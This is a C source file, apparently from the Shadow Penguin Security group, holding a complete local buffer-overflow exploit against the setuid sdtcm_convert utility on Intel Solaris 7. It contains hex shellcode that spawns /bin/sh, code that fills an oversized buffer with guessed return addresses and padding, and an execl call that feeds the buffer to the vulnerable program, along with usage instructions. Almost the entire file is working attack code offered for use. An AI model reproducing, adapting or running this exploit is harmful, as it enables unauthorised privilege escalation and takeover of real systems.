/*=============================================================================
  sdtcm_convert Overflow Exploits( for Intel Solaris 7)
  The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
  Written by UNYUN (unewn4th@usa.net)

  [usage]
  % gcc ex_sdtcm_convert86.c (This example program)
  % a.out
  If no response, hit ctrl+c
=============================================================================*/

#define         ADJUST          1
#define         OFFSET0         6268
#define         OFFSET1         4400
#define         LENGTH1         600
#define         OFFSET2         5000
#define         LENGTH2         3000
#define         OFFSET3         6000

#define NOP 0x90

char exploit_code[] =
  "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
  "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
  "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
  "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
  "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
  "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
  "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
  "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
  "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
  "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

unsigned long ret_adr;
int i;

main()
{
  static char x[11000];
  putenv("LANG=");
  memset(x,'a',10000);
  ret_adr=get_sp()-OFFSET0;
  for (i = 0; i < 5000 ; i+=4)
    {
      x[i+0]=ret_adr & 0xff;
      x[i+1]=(ret_adr >> 8 ) &0xff;
      x[i+2]=(ret_adr >> 16 ) &0xff;
      x[i+3]=(ret_adr >> 24 ) &0xff;
    }
  ret_adr=get_sp()-11700;
  if ((ret_adr & 0xff )==0) ret_adr+=4;
  printf("Jumping Address = %lx\n",ret_adr);
  for (i = OFFSET1+ADJUST; i < OFFSET1+LENGTH1 ; i+=4)
    {
      x[i+0]=ret_adr & 0xff;
      x[i+1]=(ret_adr >> 8 ) &0xff;
      x[i+2]=(ret_adr >> 16 ) &0xff;
      x[i+3]=(ret_adr >> 24 ) &0xff;
    }
  for (i = OFFSET2; i <OFFSET2+LENGTH2  ; i++) x[i]=90;
  for (i=0;i<strlen(exploit_code);i++) x[OFFSET3+ADJUST+i]=exploit_code[i];
  x[10000]=0;
  printf("\n\nIf you can not get prompt, please hit CTRL+C\n\n\n");
  execl("/usr/dt/bin/sdtcm_convert", "sdtcm_convert", "-d",x,"test",(char *) 0);
}